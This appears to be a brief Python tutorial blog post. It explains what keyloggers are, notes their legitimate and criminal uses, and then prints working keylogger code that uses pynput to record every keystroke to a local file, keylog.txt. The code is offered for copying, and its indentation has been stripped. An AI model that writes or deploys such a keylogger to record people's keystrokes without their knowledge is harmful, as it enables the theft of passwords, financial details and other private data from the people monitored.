Check Out Our Instagram Page : Instagram.com/Python.Coderss
What is a keylogger: A keylogger (short for keystroke logger) is software that tracks or logs the keys struck on your keyboard, typically in a covert manner so that you don’t know that your actions are being monitored. This is usually done with malicious intent to collect your account information, credit card numbers, user names, passwords, and other private data.
Legitimate uses do exist for keyloggers. Parents can monitor their children’s online activity or law enforcement may use it to analyze and track incidents linked to the use of personal computers, and employers can make sure their employees are working instead of surfing the web all day.
Nevertheless, keyloggers can pose a serious threat to users, as they can be used to intercept passwords and other confidential information entered via the keyboard. As a result, cybercriminals can get PIN codes and account numbers for your financial accounts, passwords to your email and social networking accounts and then use this information to take your money, steal your identity and possibly extort information and money from your friends and family.
Code :
from pynput.keyboard import Listener
def keypress(key):
key=str(key).replace("'","")
if key=='Key.space':
key=' '
if key=='Key.enter':
key='\n'
if key=='Key.shift_r':
key="SHIFT"
with open("keylog.txt",'a') as f:
f.write(key)
with Listener(on_press=keypress) as l:
l.join()
Comments
Post a Comment